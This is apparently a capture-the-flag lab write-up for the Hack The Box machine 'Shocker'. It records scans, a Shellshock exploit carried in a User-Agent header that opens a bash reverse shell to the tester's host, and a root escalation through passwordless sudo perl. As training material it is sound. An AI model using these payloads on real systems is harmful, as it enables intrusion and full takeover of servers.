1.0 - High Level Summary

1.1 - Host Summary

> hostname, IP, OS, ports open / services on them
Hostname: Shocker
IP: 10.10.10.56
Ports:
PORT   STATE SERVICE
80/tcp   open http
2222/tcp open EtherNetIP-1
OS: Linux

1.2 - Attack Surface Summary

> high level overview of exploitable services / potential
First fuzzing:
ffuf -u http://10.10.10.56/FUZZ -w /usr/share/wordlists/dirb/big.txt -t 200 -c -e .txt,.php,.html
→ Result:
```ffuf
.htpasswd.txt           [Status: 403, Size: 299, Words: 22, Lines: 12]
.htpasswd               [Status: 403, Size: 295, Words: 22, Lines: 12]
.htaccess.html          [Status: 403, Size: 300, Words: 22, Lines: 12]
.htaccess.php           [Status: 403, Size: 299, Words: 22, Lines: 12]
.htpasswd.html          [Status: 403, Size: 300, Words: 22, Lines: 12]
.htaccess               [Status: 403, Size: 295, Words: 22, Lines: 12]
.htaccess.txt           [Status: 403, Size: 299, Words: 22, Lines: 12]
.htpasswd.php           [Status: 403, Size: 299, Words: 22, Lines: 12]
cgi-bin/.html           [Status: 403, Size: 299, Words: 22, Lines: 12]
cgi-bin/                [Status: 403, Size: 294, Words: 22, Lines: 12]
index.html              [Status: 200, Size: 137, Words: 9, Lines: 10]
server-status           [Status: 403, Size: 299, Words: 22, Lines: 12]
```
→ Found cgi-bin directory, deep fuzzing with extension by command
Second fuzzing:
ffuf -u http://10.10.10.56/cgi-bin/FUZZ -w /opt/OSCP/SecLists/Discovery/Web-Content/raft-medium-directories.txt -t 200 -c -e .sh,.html,.txt
→ Result:
```fuff
user.sh                 [Status: 200, Size: 119, Words: 19, Lines: 8]
                        [Status: 403, Size: 294, Words: 22, Lines: 12]
.html                   [Status: 403, Size: 299, Words: 22, Lines: 12]
```
→ Found file user.sh, access this to get more information exploit.

1.3 - Exploitation Summary

> high level overview of the services you exploited
First payload
```burp
GET /cgi-bin/user.sh HTTP/1.1
Host: 10.10.10.56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
```

Accept-Language: en-US,en;q=0.9
Connection: close
```

→ Response:
```burp
HTTP/1.1 200 OK
Date: Thu, 18 Nov 2021 02:53:12 GMT
Server: Apache/2.4.18 (Ubuntu)
Connection: close
Content-Type: text/x-sh
Content-Length: 118

Content-Type: text/plain

Just an uptime test script

 21:53:12 up  1:24,  0 users,  load average: 0.29, 0.08, 0.02
```
→ Server response with result from command “uptime”

Second Payload:
```burp
GET /cgi-bin/user.sh HTTP/1.1
Host: 10.10.10.56
Upgrade-Insecure-Requests: 1
User-Agent: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.2/4444 0>&1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```
→ Listening with netcat on Kali machine, port 4444
nc -nvlp 4444
```netcat
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.56] 33558
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$
```
→ Reverse shell call back and I got machine with user “shelly”

2.0 - Methodology and Walkthrough

2.1 - Enumeration

> scans and inital discover
##First Scan
nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -oN /opt/OSCP/labs/HTB/56-Shocker/10.10.10.56.txt 10.10.10.56
→ Result:
```nmap
PORT     STATE SERVICE
80/tcp   open  http
2222/tcp open  EtherNetIP-1
```
##Second Scan
```

nmap -Pn -nvv -sSV --version-intensity 9 -A -p 80,2222 -oN /opt/OSCP/labs/HTB/56-Shocker/nmap-versions.txt 10.10.10.56
→ Result:
```nmap
PORT     STATE SERVICE REASON         VERSION
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8
+fAyO/
lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1
iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL
|   256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
```
→ Port 2222 is SSH service.

2.2 - Exploitation

> gaining a shell
##Shell shock vulnerable:
```shellshock
() { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.2/4444 0>&1
```
The machine cannot handle command contain characters “() { :;}”, so it default excute next command after “;”
I put reverse shell with bash command after “;" and get connection back from Shocker.

2.3 - Elevation

> methods used to gain SYSTEM / root
Road to Privesc
```SUID Binaries
sudo -l
```
→ Result:
```sudo
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
```
→ The tool “/usr/bin/perl” can action with NOPASSWD
Privesc to (root)
```GTFOBins
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

→ Result:
```
id
uid=0(root) gid=0(root) groups=0(root)
```

3.0 - Loot and Code

3.1 - Proof

> screenshot of whoami, ip, and flag

3.2 - Code Used

> full exploit code with source and highlights of changes
Scan shellshock vulnerable with Nmap
```nmap
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh 10.10.10.56
```

→ Result:
```nmap
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known
|       as Shellshock. It seems the server is executing commands injected
|       via malicious HTTP headers.
|
|     Disclosure date: 2014-09-24
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
```

```
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|_http-server-header: Apache/2.4.18 (Ubuntu)
```